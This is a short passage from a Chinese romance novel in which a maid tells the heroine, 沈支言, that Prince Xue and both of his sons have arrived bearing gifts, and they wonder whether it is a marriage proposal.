这日清晨,她坐在院中一边看书一边吃着舅母让人送来的桃子。不远处杏儿匆匆跑来道:“小姐!薛亲王带着薛大公子和薛二公子来了。” 她听闻,拿书的手微微僵住,不可置信地问:“薛廷衍和薛召容,都来了?” 杏儿点头:“是的,还抬了满院子的礼品。小姐,他们不会是来提亲的吧?” 提亲? 沈支言眼皮突地一跳。 那怎么兄弟俩都来了?